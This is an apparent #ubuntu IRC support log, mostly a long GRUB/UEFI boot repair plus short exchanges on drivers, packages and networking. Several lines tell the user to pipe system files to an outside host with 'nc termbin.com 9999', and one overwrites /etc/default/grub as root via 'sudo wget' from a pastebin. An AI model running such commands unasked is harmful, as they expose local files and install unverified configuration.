[08:12] <faceymcface> ahh... just realised this is mint...
[08:12] <faceymcface> can I get help here
[08:12] <qwebirc1136> I just let Ubuntu do the partitoning
[08:12] <EriC^> qwebirc1136: ok great, which ubuntu? 18.04?
[08:13] <qwebirc1136> Yup
[08:13] <EriC^> awesome
[08:13] <faceymcface> I've got this weird issue that after login, the screen suddenly blanks
[08:13] <EriC^> qwebirc1136: try "ls (hd1,gpt6)/"
[08:13] <lessthan0> is there a mint channel?
[08:13] <tomreyn> lessthan0: grub shell does not have fdisk, it is more limited than busybox.
[08:13] <tomreyn> !mint  | lessthan0
[08:13] <TheWild> hello
[08:13] <qwebirc1136> Ohh some files popped up
[08:13] <EriC^> qwebirc1136: awesome
[08:14] <EriC^> qwebirc1136: type "configfile (hd1,gpt6)/boot/grub.cfg"
[08:14] <tomreyn> faceymcface: see what ubottu just wrote
[08:14] <lessthan0> I was asking for faceymcface
[08:14] <faceymcface> so I'm using a virtual terminal on Ctrl-Alt-F[1-6], and seeing the login screen on F8, but when I login, it goes in and I see the mouse, then suddenly the screen blanks
[08:14] <faceymcface> ok
[08:14] <oerheks> faceymcface, mint has its own issues
[08:14] <lessthan0> thats an xorg problem
[08:14] <lessthan0> and a mint problem
[08:14] <faceymcface> yes
[08:14] <lessthan0> and a gnome problem
[08:14] <faceymcface> yes
[08:15] <qwebirc1136> EriC^: it just pops up a page with just Grub> on it
[08:15] <lessthan0> try #gnome
[08:15] <oerheks> good luck in ##linuxmint
[08:15] <EriC^> qwebirc1136: ok i guess the config is missing
[08:15] <TheWild> on fresh Windows installation, the list of installed software is empty, so it's easy if I install something and forget to remove. On Ubuntu I can "dpkg -l", but how I can know what packages were installed right after installation of Ubuntu?
[08:15] <EriC^> qwebirc1136: try "set root='(hd1,gpt6)'"
[08:16] <tomreyn> EriC^: should it not be "configfile (hd1,gpt6)/grub/grub.cfg"
[08:16] <lessthan0> brute force mount
[08:16] <lessthan0> try them all
[08:16] <EriC^> tomreyn: yes! my bad thanks
[08:16] <EriC^> qwebirc1136: try "configfile (hd1,gpt6)/boot/grub/grub.cfg"
[08:16] <qwebirc1136> EriC^: nothing happened
[08:16] <TheWild> when I do cleanup, I would like to know that given package is what I installed, or maybe it is something that was here from the beginning or maybe it's a dependency other program require?
[08:16] <lessthan0> grub has vi right?
[08:17] <lessthan0> and only vi
[08:17] <faceymcface> bah, no web portal for spotchat
[08:17] <qwebirc1136> EriC^: i did that and it booted into a blue screen that says gnu/Linux and now it's booting Into ubuntu!
[08:17] <EriC^> qwebirc1136: awesome
[08:18] <tomreyn> TheWild: that's the best way i'm aware of https://askubuntu.com/questions/2389/generating-list-of-manually-installed-packages-and-querying-individual-packages
[08:18] <EriC^> ok, i will brb in 1min to make a quick smoothie or something,
[08:18] <qwebirc1136> Ok
[08:19] <tomreyn> good job you two, EriC^ + qwebirc1136 :)
[08:19] <tomreyn> qwebirc1136: dont reboot for now.
[08:20] <qwebirc1136> I am so happy that I am in Ubuntu rn. And I don't plan to reboot don't worry.
[08:20] <TheWild> tomreyn. I think I'll compare the list manually. Can the list fluctuate if installed or another computer?
[08:22] <tomreyn> qwebirc1136: :) this computer has an uncommon hardware configuration. the little i understood is that you have two storages, but the first one is somewhat special, and the second one actually contains ubuntu and windows.
[08:22] <qwebirc1136> That's weird
[08:23] <EriC^> qwebirc1136: im back
[08:23] <EriC^> qwebirc1136: let's see why grub is so confused first so we cone hone down on the issue for sure
[08:23] <tomreyn> TheWild: first of all, the list of 'manually installed packages' created by the command listed in the first answer on the page i posted is not precise, it will list packages you did not actually install manually.
[08:24] <qwebirc1136> EriC^: ok thank you.
[08:24] <EriC^> qwebirc1136: try "cat /boot/efi/efi/ubuntu/grub.cfg | nc termbin.com 9999" and paste the link it gives you
[08:24] <faceymcface> mint devs seem to be asleep
[08:24] <EriC^> (does it have internet connection? the command sends stuff to a pastebin)
[08:24] <oerheks> faceymcface, another good reason to wipe your hdd and install ubuntu
[08:24] <tomreyn> TheWild: as long as you install the same ubuntu version and variant on the same type of hardware with the same type of boot mechanism (eufi / bios), the list should be the same, i think.
[08:25] <qwebirc1136> EriC^: do I do that in grub or terminal?
[08:25] <EriC^> qwebirc1136: in the terminal, you need an internet connection though
[08:25] <tomreyn> TheWild: that's also assuming you made the same configuration choices during installation
[08:25] <TheWild> meh, I won't wipe my current installation just to know that
[08:25] <qwebirc1136> EriC^: ok then I gotta log into this IRC chat through ubuntu
[08:25] <EriC^> qwebirc1136: actually you need to prefix the command with sudo
[08:25] <EriC^> qwebirc1136: ok cool
[08:26] <TheWild> I found something like this: http://releases.ubuntu.com/16.04.4/ubuntu-16.04.4-desktop-amd64.manifest
[08:26] <TheWild> is that what 'Try Ubuntu' system contains or what is supposed to be less or more after installation?
[08:28] <qwebirc85880> OK this is me on the computer
[08:28] <qwebirc1136> EriC^: ok I am on the computer now
[08:29] <oerheks> TheWild, no, that is all what is available on the disc, standard you would not have build-essentials
[08:29] <oerheks> and some more
[08:29] <EriC^> qwebirc1136: ok, cool
[08:29] <EriC^> qwebirc1136: type "sudo cat /boot/efi/efi/ubuntu/grub.cfg | nc termbin.com 9999"
[08:30] <TheWild> meh, then I have to track down my .bash_history, hoping that nothing has been lost from it
 no such file or directory
[08:30] <qwebirc85880> this is me on the computer
[08:30] <EriC^> qwebirc85880: aha
[08:31] <EriC^> that must be the issue i guess, let's confirm try "ls -l /boot/efi/efi/ubuntu | nc termbin.com 9999"
[08:31] <TheWild> thanks tomreyn and oerheks
[08:32] <TheWild> kind of inconvenience from apt though
[08:32] <qwebirc85880> http://termbin.com/fg45
[08:32] <Big_Zampano> if you remove the desktop environment and all the graphical style user interfaces will you run into problems?
[08:32] <qwebirc85880> EriC^: Thats the output it gave me.
[08:32] <EriC^> qwebirc85880: ok, that's kind of odd cause there's no grubx64.efi there (the pc uses that to load grub first)
[08:32] <tomreyn> that snot much
[08:32] <Big_Zampano> I want to go back to a texbased ubuntu
[08:32] <EriC^> qwebirc85880: try "sudo efibootmgr -v | nc termbin.com 9999"
[08:33] <qwebirc85880> sudo efibootmgr -v | nc termbin.com 9999
[08:33] <qwebirc85880> oops
[08:33] <qwebirc85880> http://termbin.com/ll4u
[08:33] <qwebirc85880> copied wrong part of terminal
[08:33] <Big_Zampano> so that my server has even lest resources wasted on the destop eviromen since i never use the servers desto invirome
[08:34] <tomreyn> Big_Zampano: you can do that. remove ubuntu-desktop\* and xserver-xorg\*
[08:34] <EriC^> qwebirc85880: ok, it lists grub as an option pointing to some hd, i wonder which partition that is, try "sudo blkid | nc termbin.com 9999"
[08:34] <Big_Zampano> tomyreyn and it wont cause conflicts with unrelated software?
[08:34] <qwebirc85880> http://termbin.com/0yb0
[08:34] <EriC^> qwebirc85880: ah i see the confusion, it uses /boot/efi/efi/grub instead of ../ubuntu
[08:35] <tomreyn> Big_Zampano: that'd be a broad statement to make, but it should not.
[08:35] <EriC^> qwebirc85880: try "sudo cat /boot/efi/efi/grub/grub.cfg | nc termbin.com 9999"
[08:35] <Big_Zampano> tomreyn i see, thanks !!
[08:36] <qwebirc85880> http://termbin.com/jpt4
[08:36] <tomreyn> Big_Zampano: if you're able to manage the system without a graphical user interface, and have the means to access it without a graphical user interface installed, and the network configuration does not depend on the desktop user logging in, then you should be fine.
[08:37] <qwebirc85880> EriC^: Thats the output.
[08:37] <EriC^> qwebirc85880: that looks right, it points to the ubuntu partition and uses gpt6, odd
[08:37] <EriC^> anyways let's try to reinstall grub and hope for the best and see what happens
[08:37] <EriC^> qwebirc85880: try "sudo grub-install"
[08:38] <qwebirc85880> ok it is installing, I also wanted to mention for some reason in bios boot options ubuntu doesn't show up only grub.
[08:39] <qwebirc85880> EriC^: Ok it says installation finished. No error reported.
[08:39] <EriC^> qwebirc85880: cool, type "sudo update-grub"
[08:39] <qwebirc85880> ok it is updating grub
[08:39] <qwebirc85880> ok it is done updating grub
[08:40] <qwebirc85880> EriC^: should I also update all the software within ubuntu itself?
[08:40] <EriC^> qwebirc85880: ok, type "dpkg -l | grep grub | nc termbin.com 9999"
[08:40] <EriC^> qwebirc85880: sure it won't harm
[08:41] <qwebirc85880> http://termbin.com/jd1p
[08:42] <qwebirc1136> It looks like amd64 is now there.
[08:42] <qwebirc1136> It looks like amd64 is now there.
[08:42] <EriC^> aha great
[08:43] <qwebirc85880> sorry phones lagging
[08:43] <EriC^> qwebirc1136: once it's done updating and stuff try rebooting
[08:43] <qwebirc85880> ok I will. it should be done soon
[08:48] <qwebirc85880> ok rebooting noiw
[08:49] <qwebirc33674> I cant
[08:49] <qwebirc33674> I accidently closed my phone's web browser so now I am a different nickname. It popped up gnu grub again
[08:50] <EriC^> damn
[08:50] <EriC^> ok, what does "echo $root" give?
[08:50] <January> why does `sudo` require network on a freshly installed 18.04 system, and how can I disable this?
 HD0,gpt1
[08:50] <EriC^> hmm, that's the esp
[08:51] <EriC^> so odd
[08:51] <oerheks> January, sudo does not need networking, except if you do sudo apt install <something>
[08:51] <EriC^> qwebirc33674: what does "echo $prefix" give?
[08:51] <oerheks> then apt wants networking
[08:52] <January> no
[08:52] <qwebirc33674> (hd0,gpt1)/EFI/ubuntu
 it gives that
[08:52] <January> I'm running `sudo echo hi` and it hangs
[08:52] <oerheks> January, oh, so it does not complain about networking, good.
[08:52] <EriC^> qwebirc33674: wow so odd
[08:52] <EriC^> qwebirc33674: maybe some other efi file is being booted or something?
[08:53] <January> oerheks: no, but adding a route for my hostname in /etc/hosts makes `sudo` not hang
[08:53] <qwebirc33674> This is so frustrating
[08:53] <January> so it must be trying to use network in some capacity
[08:53] <EriC^> qwebirc33674: i wonder where it's getting these instructions for $root and $prefix, it's supposed to set them from this file we checked http://termbin.com/jpt4
[08:53] <oerheks> btw sudo echo hi should just print hi
[08:53] <EriC^> qwebirc33674: anyways, type "configfile (hd1,gpt6)/boot/grub/grub.cfg" and boot ubuntu again
[08:53] <EriC^> maybe we can spot something from there
[08:54] <January> oerheks: yes, I know. The issue is that without a route for my `$HOSTNAME` in `/etc/hosts`, `sudo echo hi` will hang.
 doing that just brings me to a area with just grub> on it
[08:55] <qwebirc33674> It's not booting into Ubuntu for some reason
[08:56] <EriC^> qwebirc33674: hmm, are you sure there was no typo?
[08:56] <qwebirc33674> I am sure
[08:56] <EriC^> it's /boot/grub/grub.cfg ok
[08:56] <EriC^> the only different thing we did before was "set root='(hd1,gpt6)'"
[08:56] <EriC^> try running that then "configfile /boot/grub/grub.cfg"
[08:57] <qwebirc33674> Not booting
 is there anything else I can do?
[08:58] <EriC^> qwebirc33674: ok, let's try something, reboot the pc and spam F9 you should get a one time boot menu
[08:58] <qwebirc33674> Ok
[08:58] <EriC^> choose the browse option, then browse to efi/ubuntu/shimx64.efi or so
[08:58] <EriC^> or possibly efi/grub/shimx64.efi
[08:59] <qwebirc33674> Ok I am in boot options
[08:59] <qwebirc33674> In bios
[08:59] <qwebirc33674> The f9 thing
[08:59] <qwebirc33674> And there is only grub. Windows boot manager. And 2 uefis.
[08:59] <EriC^> ok, is there a 'load file' or browse?
[08:59] <EriC^> aha
[08:59] <EriC^> try the "grub"
[09:00] <qwebirc33674> Brought me to the gnu grub
 welp
[09:01] <EriC^> qwebirc33674: ok, what were the other 2 uefi stuff?
[09:01] <qwebirc33674> Ipv4 and ipv6 <EriC^>
[09:01] <EriC^> im trying to make sure it's actually loading the efi file we're telling it to
[09:02] <EriC^> aha
[09:02] <EriC^> qwebirc33674: ok, let's try to boot grub manually and see how it goes
[09:02] <EriC^> qwebirc33674: type "set root='(hd1,gpt6)'"
[09:03] <EriC^> qwebirc33674: actually i remember now we also typed "normal"
 what do I type next?
[09:03] <EriC^> try "normal" then "insmod ext2" then "configfile /boot/grub/grub.cfg"    (after typing the set root command)
[09:03] <EriC^> normal
 not working
[09:04] <EriC^> qwebirc33674: ok no problem
 maybe updating grub changed its path how can we refund it's path
[09:05] <qwebirc33674> Refund*
[09:05] <qwebirc33674> Refind*
[09:05] <qwebirc33674> On a phone with autocorrect sorry
[09:05] <EriC^> qwebirc33674: type "linux /boot/vmlinuz<hit tab> and tab complete the version with newest
[09:05] <EriC^> qwebirc33674: dont hit enter yet
[09:06] <EriC^> qwebirc33674: so it's linux /boot/vmlinuz-23423423 root=/dev/sda6
[09:06] <EriC^> then hit enter and type "initrd /boot/initrd.img<tab complete same version>" then type "boot"
[09:06] <qwebirc33674> Error: disk hd1,gpt6 not found
[09:07] <EriC^> (boot on a separate line)
[09:07] <EriC^> qwebirc33674: ah odd
[09:07] <EriC^> type "ls"
[09:07] <qwebirc33674> Hd0,gpt6 exsists
[09:07] <EriC^> ok great!
[09:07] <qwebirc33674> But not hd1,gpt6
[09:07] <EriC^> type "configfile (hd0,gpt6)/boot/grub/grub.cfg"
[09:08] <qwebirc33674> Ok it's booting now
[09:08] <EriC^> cool
[09:09] <qwebirc33674> What do I do? <EriC^>
[09:09] <qwebirc33674> This is so frustrating.
[09:10] <EriC^> qwebirc33674: ok, try "ls -lR /boot/efi | nc termbin.com 9999"
[09:11] <EriC^> i think it's booting the grub file for sure, since we used f9 and pointed it to it
[09:11] <qwebirc52335> OK I am on computer now
[09:12] <qwebirc33674> "ls -lR /boot/efi | nc termbin.com 9999
[09:13] <qwebirc52335> http://termbin.com/humrk
 ok that is the output.
[09:14] <EriC^> ok, so let's take a look at grub.cfg in boot, type "cat /boot/grub/grub.cfg | nc termbin.com 9999"
[09:14] <tomreyn> maybe device.map would be of interest, too
[09:15] <tomreyn> qwebirc33674: also: cat /boot/grub/device.map | nc termbin.com 9999
[09:15] <eraserpencil> hi guys, i plugged in a usb and saw that dmesg indicates an over-current condition
 cat /boot/grub/grub.cfg | nc termbin.com 9999
[09:15] <eraserpencil> does that mean my kernel has a software sensor to detect current?
[09:15] <qwebirc52335>  <EriC^>:
[09:15] <qwebirc52335> omg 1 sec
[09:15] <qwebirc52335> http://termbin.com/chjlj
 Thats the output/
[09:16] <EriC^> hmm its interesting though it just occured to me, it's setting prefix to EFI/ubuntu even though we're using efi/grub, not sure how that relates to stuff though
[09:16] <EriC^> maybe that's some default setting it uses or... i dunno
[09:17] <qwebirc15040> My phone timed out I reconnected.
[09:18] <qwebirc15040> For some reason Firefox crashed
[09:18] <EriC^> qwebirc15040: hmm type "cat /etc/default/grub | nc termbin.com 9999"
[09:18] <EriC^> qwebirc15040: np
[09:19] <qwebirc15040>  [05:18] <EriC^> qwebirc15040: hmm type "cat /etc/default/grub | nc termbin.com 9999"
 http://termbin.com/yi5b
[09:21] <EriC^> qwebirc58881: try tomreyn 's command as well
[09:21] <tomreyn> cat /boot/grub/device.map | nc termbin.com 9999
[09:21] <EriC^> qwebirc58881: wow the file is pretty empty
[09:22] <qwebirc58881> cat: /boot/grub/device.map: No such file or directory
[09:22] <EriC^> !find /etc/default/grub
[09:23] <qwebirc58881>   You have searched for packages that names contain /etc/default/grub in suite(s) bionic, all sections, and all architectures.  Sorry, your search gave no results
[09:24] <tomreyn> qwebirc58881: please show: sudo grub-mkdevicemap --verbose --device-map=- 2>&1 | nc termbin.com 9999
[09:25] <qwebirc58881> http://termbin.com/hm8k
[09:26] <qwebirc58881>  <EriC^>: Welp....
[09:26] <EriC^> qwebirc58881: download this http://termbin.com/r4gr its a 18.04 default /etc/default/grub file
[09:26] <qwebirc58881> ok
[09:26] <qwebirc58881> how exactly do I download it..?
[09:26] <EriC^> type "sudo wget -O /etc/default/grub http://termbin.com/r4gr"
[09:27] <qwebirc58881> ok i downloaded it.
[09:27] <EriC^> qwebirc58881: ok, type "sudo update-grub"
[09:28] <qwebirc58881> ok.
[09:28] <qwebirc58881> did that.
 Do I reboot now?
[09:30] <qwebirc58881> .
[09:30] <qwebirc58881> just testing to make sure firefox didnt freeze again lol.
[09:32] <medfly> yellow, I'm trying to debug a problem, it says it dumped core, I've set ulimit -c unlimited, but I still can't find a core dump. Any idea?
[09:32] <medfly> oh, I actually finally found it, it has as weirdo name
[09:32] <EriC^^> sorry dc
[09:32] <medfly> I expected something.core but it's called just 'core'
[09:32] <EriC^^> qwebirc15040: and also "sudo efibootmgr -v | nc termbin.com 9999" those might have changed since we last did grub-install
[09:33] <EriC^> qwebirc58881: first try "sudo cat /boot/efi/efi/grub/grub.cfg | nc termbin.com 9999" one last time
[09:33] <EriC^> and also "sudo efibootmgr -v | nc termbin.com 9999" those might have changed since we last did grub-install
[09:33] <qwebirc58881> http://termbin.com/muci
[09:34] <qwebirc58881> http://termbin.com/3qis1
[09:34] <qwebirc58881> When I updated the config file it gave me an error about grub timeout not being set to 0
[09:34] <qwebirc58881> forgot to tell you.
[09:34] <EriC^^> qwebirc58881: i have an idea
[09:34] <qwebirc58881> whats the idea?
[09:35] <EriC^^> maybe the whole /grub stuff is confusing ubuntu's grub
[09:35] <EriC^^> i have a good feeling about this
[09:35] <EriC^^> qwebirc58881: try "sudo cp /boot/efi/efi/grub/* /boot/efi/efi/ubuntu"
[09:35] <qwebirc58881> cp: cannot stat '/boot/efi/efi/grub/*': No such file or directory
[09:36] <EriC^^> qwebirc58881: oh sorry
[09:36] <EriC^^> type "sudo -i" then type "cp /boot/efi/efi/grub* /boot/efi/efi/ubuntu"
[09:36] <EriC^^> sorry 1 sec
[09:36] <EriC^^> type "sudo -i" then type "cp /boot/efi/efi/grub/* /boot/efi/efi/ubuntu"
[09:36] <qwebirc58881> ok nothing popped up after entering the second command
[09:37] <EriC^^> great
[09:37] <qwebirc58881> but I am in root atleast.
[09:37] <EriC^^> try rebooting
[09:37] <qwebirc58881> Ok i will
[09:37] <qwebirc15040> This is me on phone
[09:37] <EriC^^> ok
[09:37] <qwebirc15040> Yes!!!! I can boot directly into Ubuntu now!!!
[09:37] <EriC^^> yay!
[09:38] <EriC^^> awesome :D
[09:38] <qwebirc15040> I am so unbelievably happy thank you so much!
[09:38] <EriC^^> no problem!
[09:38] <tomreyn> great job, EriC^^ !
[09:38] <EriC^^> thanks tomreyn
[09:38] <qwebirc15040> :)
[09:40] <PayneMusically> My browser kept crashing so I never had time to set my Nick properly hopefully it doesn't crash again
[09:40] <PayneMusically> Tysm!!!
[09:44] <tomreyn> PayneMusically: it may be necessary to do a couple more things to make this work reliably in the future, try to stay around for now.
[09:44] <tomreyn> you can install hexchat, an alternative irc client, if you web browser keeps crashing.
[09:45] <PayneMusically> It seems to be fine now. And I can always reconnect
[09:45] <PayneMusically> Is hexchat avaliable for my phone?
[09:46] <TheWild> how to install nonfree after Ubuntu installation from bash?
[09:48] <guest_> how to fix laggy video ?
[09:49] <tomreyn> PayneMusically: no. you'll need to find a different irc client for your phone.
[09:49] <waterCreature> how do i install .tar file?
[09:49] <waterCreature> it's not like .tar.gz or .tar.zip
[09:50] <PayneMusically> Ohh ok. So what do I need to do to make this more reliable in the future?
[09:51] <guest_> please hepe me with gfx
[09:52] <Shabbysheik> waterCreature: a tar is an archive, you will need to extract the contents first
[09:54] <tomreyn> PayneMusically: i assume EriC^^ is currently still running some tests to come up with a good suggestion. i don't really have one, could just suggest to remove the /boot/efi/efi/grub directory (and the files in it). but don't do this just yet.
[09:55] <PayneMusically> Ok
[09:56] <guest_> laggy video playback in ubuntu 18.04, using default video app
[10:00] <Shabbysheik> guest_: does the sound work fine when playing videos?
[10:00] <guest_> Shabbysheik: yes
[10:01] <Shabbysheik> guest_: use first answer on this page to fix https://askubuntu.com/questions/1030074/my-video-player-in-ubuntu-18-04-lts-lags
[10:03] <guest_> Shabbysheik: i am using laptop and RR is already 60.02 Hz
[10:06] <guest_> Shabbysheik: $glxgears 227 frames in 5.0 seconds = 45.260 FPS 201 frames in 5.0 seconds = 40.011 FPS
[10:12] <guest_> low frames in ubuntu 18.04 , i am using i5 6gen , hd520+amd r5m430 gfx . glxgears result : 285 frames in 5.0 seconds = 56.766 FPS  201 frames in 5.0 seconds = 40.005 FPS
[10:17] <Shabbysheik> guest_: seems like your problem is general low frames, not related to video specifically. Have you updated your drivers? using proprietary or free?
[10:18] <guest_> Shabbysheik: no
[10:19] <guest_> Shabbysheik: software update says system is up to date
[10:20] <Shabbysheik> guest_: try the propietary drivers and see if you get better performance https://linuxconfig.org/how-to-install-the-latest-amd-radeon-drivers-on-ubuntu-18-04-bionic-beaver-linux
[10:21] <guest_> Shabbysheik: no official drivers for R5 m430 ,  and others are very bad , it is possible to use intel card only ?
[10:22] <Shabbysheik> guest_: I don't know personally, don't have a dual card system, but I would guess you can blacklist the amd card which should force it to use intel only
[10:23] <guest_> Shabbysheik: then i need to install intel drivers ?
[10:23] <Shabbysheik> no need intel will already be there and loaded
[10:24] <guest_> in system about , it show intel card , but still getting low fps
[10:24] <ankur> h
[10:25] <Shabbysheik> guest_: sounds like you are getting low frames because your amd card isnt being used then matybe?
[10:27] <guest_> Shabbysheik: what should i do ?
[10:28] <user0123> Hi, I'm trying to figure out where calligraflow disappeared, it was available in 16.04, but not in 18.04, anyone knows what happened? (package dropped from distro?)
[10:28] <Shabbysheik> guest_: read up about hybrid gpu setups here: https://help.ubuntu.com/community/HybridGraphics
[10:31] <guest_> Shabbysheik: GRUB_CMDLINE_LINUX_DEFAULT="quiet splash i915.modeset=1"  ?
[10:33] <Shabbysheik> guest_: if you want the intel card yes, use radeon if you want the AMD card
[10:35] <zetheroo> How does one find out when was the last time updates were installed on a system?
[10:37] <guest_> thanks
[10:47] <ducasse> zetheroo: see /var/log/apt/history.log
[10:47] <zetheroo>  ducasse: does that only show which commands have been executed?
[10:49] <ducasse> zetheroo: no
[10:49] <sakhd_> I have windows 10 installed and now I want to install ubuntu with disk encryption. But there is no choice to save win10 and install ubuntu with encryption
[10:50] <sakhd_> only: 1. win10 + ubuntu w/o enc. 2. ubuntu with enc.
[10:50] <sakhd_> how can I have both win10 and ubuntu with encryption?
[10:51] <zetheroo> ducasse: the file is empty here
[10:51] <zetheroo> is that normal?
[10:53] <ducasse> zetheroo: maybe it's just been rotated, look at the history.*.gz files in the same directory
[10:54] <zetheroo> Ok
[10:56] <ppf> what does ppa-purge do exactly
[10:57] <BluesKaj> Howdy folks
[10:58] <BluesKaj> !ppa
[10:58] <BluesKaj> !ppa-purge
[10:58] <BluesKaj> ppf,^
[10:59] <ppf> yes, i know the abstract, but i need to do it by hand
[10:59] <ppf> i kinda deadlocked apt trying to upgrade cuda
[10:59] <BluesKaj> click on the yurl
[10:59] <BluesKaj> url
[11:00] <ppf> BluesKaj: that's for ppa-purge
[11:00] <qwebirc52908> hello i want format my ubuntu and install kali linux without usb and cd dvd anyone can help me ?
[11:00] <ppf> !kali
[11:00] <ppf> BluesKaj: i know _what_ it does, but not _how_
[11:00] <qwebirc52908> please help me :(
[11:01] <BluesKaj> ppf, it removes the ppa s from your /etc/sources.list.d and removes asociated packages not needed otherwise
[11:02] <qwebirc52908> okey just tell me which way i can change my system to another linux without usb and cd
[11:02] <BluesKaj>  /etc/apt/sources.list.d, ppf
[11:03] <ppf> yes, does it do anything besides run apt purge on all the packages the repo provides?
[11:05] <qwebirc52908>  thanks for fucking bitch support ubuntu :)
[11:05] <ppf> you realize you're not asking for ubuntu support right
[11:05] <qwebirc52908> okey now i ask for ubuntu
[11:06] <ducasse> qwebirc52908: watch your language, and try #kali-linux
[11:06] <qwebirc52908> okey now im using linux mint :) which way i can change my system for ubuntu without usb and dvd
[11:07] <ppf> !mint
[11:07] <ducasse> qwebirc52908: we don't support mint either
[11:08] <qwebirc52908> okey :) and :) you can tell me which way i can download and install w3af without anyyy problem
[11:08] <qwebirc52908> i try to install w3af but everytime have problem -_-
[11:09] <ppf> are you sure you should be dealing in software security if you can't install a piece of software?
[11:09] <qwebirc52908> yes im sure i can't install it :(
[11:09] <ppf> i see
[11:09] <guiver_d> qwebirc52908: w3af is available for 14.04 & 16.04 (https://packages.ubuntu.com/search?keywords=w3af) so just `sudo apt install` if using them
[11:10] <boxmein> qwebirc52908: the most normal way to transition from mint to ubuntu is just reinstall everything. next time put your user folder on a separate partition :P
[11:10] <qwebirc52908> sudo apt install w3af [sudo] password for b4b4n:  Reading package lists... Done Building dependency tree        Reading state information... Done E: Unable to locate package w3af
[11:10] <boxmein> qwebirc52908: if you know how, you can try to switch by reconfiguring and reinstalling stuff
[11:11] <boxmein> qwebirc52908: and if you're trying to get pentesting tools, start from kali linux (not mint)
[11:11] <guiver_d> qwebirc52908: it's in universe; enable universe; sudo apt update; and then sudo apt install
[11:12] <qwebirc52908> oh thanks for all ! i go reset my ubuntu and i will back try to ask and try to install w3af
[11:12] <boxmein> qwebirc52908: installing w3af is suggested anyway by downloading it from github and running directly
[11:13] <boxmein> qwebirc52908: http://w3af.org/ check out the site's front page, it has scrolling cards, the 4th card has the info
[11:13] <qwebirc52908> boxmein i so try to download and installing it :) but i have last version i don't know why i have problem
[11:13] <qwebirc52908> okey
[11:13] <qwebirc52908> wait 10 minute i will back thanks
[11:21] <rajendra> exit
[11:27] <FROZEN> anybody here?
[11:28] <compdoc> who wants to know?
[11:29] <ask-ygU5AP56> hey, how to configure wired connections via the new ubuntu/gnome shell?
[11:29] <ask-ygU5AP56> it worked fine in unity for say a usb modem or ethernet cable
[11:29] <ask-ygU5AP56> but now w/ the new version all I see is wifi and bluetooth
[11:29] <ask-ygU5AP56> no wired settings
[11:30] <ask-ygU5AP56> I can dhclient interface from terminal fine, just rather have a unified solution like nm-applet
[11:30] <ppf> ask-ygU5AP56: can you paste your /etc/network/interfaces
[11:31] <ask-ygU5AP56> it's empty, well, aside of the default hashed out info
[11:31] <ask-ygU5AP56> ppf, I want to use networkmanger anyway
[11:31] <ask-ygU5AP56> manager*
[11:31] <ask-ygU5AP56> it's just I see no settings for a wired connection in the new ubuntu 18.04 desktop
[11:32] <ppf> ask-ygU5AP56: can you paste sudo lshw -c network
[11:32] <ducasse> ask-ygU5AP56: what's in /etc/netplan?
[11:32] <ask-ygU5AP56> err, nothing I presume
[11:33] <ask-ygU5AP56> ducasse, there's one entry, but that I think is for the onboard ethernet
[11:33] <BluesKaj> netplan links to network-manager
[11:34] <ask-ygU5AP56> there's nothing in that file that I see to be connected with any of the interfaces I see w/ ifconfig
[11:34] <ask-ygU5AP56> I doubt it's a low level thing
[11:34] <ask-ygU5AP56> it's more of a new graphics choice for ubuntu and axing of unity
[11:34] <ask-ygU5AP56> I think
[11:34] <ask-ygU5AP56> since the interface is fine, it gets picked up fine
[11:34] <ask-ygU5AP56> I can dhclient it fine, manually
[11:35] <ask-ygU5AP56> only in settings, graphical settings, I fail to see any info about the aforementioned interface
[11:35] <ask-ygU5AP56> (an android phone plugged into usb)
[11:35] <ask-ygU5AP56> (acting as a modem)
[11:36] <ask-ygU5AP56> there's no old unity plugins. there's the new gnomish ones. there's no old control panel ,there's new gnomish one.
[11:36] <ask-ygU5AP56> i.e. no control of the devices like previously; what else could it be ?
[11:37] <ask-ygU5AP56> you guys have wired connection configurable via graphical interface in 18.04 ?
[11:40] <ppf> ask-ygU5AP56: where's my lshw paste :)
[11:41] <ppf> ask-ygU5AP56: from where did you upgrade to bionic?
[11:42] <ppf> did you check whether the NM configs exclude your device?
[12:09] <steve_011> hi
[12:09] <disi_> ~
[12:30] <sa___> Hi All, We are maintaining the out-of-tree drivers and I want to install these drivers by creating the deb package, how do I create a deb package for out-of-tree drivers?
[12:31] <ppf> sa___: http://packaging.ubuntu.com/html/
[12:56] <qwerty_> i need help
[12:56] <qwerty_> my trackpad isnot wrking well in linux
[12:56] <qwerty_> why is that happening
[13:21] <dbsyd> I've installed fresh ubuntu 18.04, but when I boot i get a grub prompt ("..minimal BASH-like line editing is supported..."), boot-repair didn't help: https://paste.ubuntu.com/p/6Q3ndws93b/
[13:22] <Xcytre> https://paste.ubuntu.com/p/6Q3ndws93b/
[13:24] <arora> dbsyd: Broken grub install
[13:26] <dbsyd> arora: What can I do about it?
[13:27] <retrowertz> fix it?
[13:27] <dbsyd> retrowertz: I don't know how :|
[13:28] <arora> Reinstall grub
[13:28] <samcoldham1> can anyone tell me whenever i join irc freenode it says this
[13:28] <retrowertz> there should be a lot of similar methods to fix it.
[13:28] <samcoldham1> This nickname is registered. Please choose a different nickname, or identify via /msg NickServ identify <password>
[13:28] <retrowertz> somebody owns the nick you use
[13:28] <arora> samcoldham1: What irc client?
[13:29] <samcoldham1> xchat cilent
[13:30] <ask-ygU5AP56> ppf, clean install, lshw is missing still since I doubt it's a hardware issue; I;ve yet to check whether the configs disable the device; BUT on 16.04 it's available and configurable right out the box.
[13:30] <ask-ygU5AP56> ppf, so not seeing it anywehere to config on a fresh 18.04 I think is a regression
[13:30] <ask-ygU5AP56> ppf, as mentioned, the hardware works fine
[13:31]  * ask-ygU5AP56 installing ubuntu-unity-desktop
[13:31] <ask-ygU5AP56> will try and give it a go and see if the device is seen by nm-applet
[13:31]  * ask-ygU5AP56 dislikes the gnome3 shell anyway
[13:34] <Bugson_> guys, I'm trying to install ubuntu server 18.04 on fresh machine in such scenario: standalone esp partition + raid partition, I'm creating md partitions which I serve to lvm, so my root partition is on lvm. I'm also using EFI and GPT patition schema. Ubuntu installs itself without a problem, after reboot it goes into grub prompt I tried to boot it manually from grub (where it sees every partitions including
[13:34] <Bugson_> lvm) but it ends up in initramfs, for test I did the same scenarion/partition schema on latest stable debian 9.4 and it works without any problems any idea what might be the issue?
[13:43] <dbsyd> reinstalled grub, still geting sent to grub prompt at boot: https://paste.ubuntu.com/p/GrCKTgbjRm/
[13:43] <Muimi1> Weird question: do you guys know how to ask a seller of computer parts for a formula describing how many of their products fail over n years?
[13:45] <Xcytre> there's always meantime before failure
[13:45] <leftyfb> Muimi1: that's not an ubuntu related question. Try #hardware
[13:50] <samcldham1> ubuntu 18.10 whats the date it is realsed somewhere around mid october
[13:52] <dbsyd> Bugson_: looks like we have the same issue - if I boot using the grub prompt I end in the initramfs too
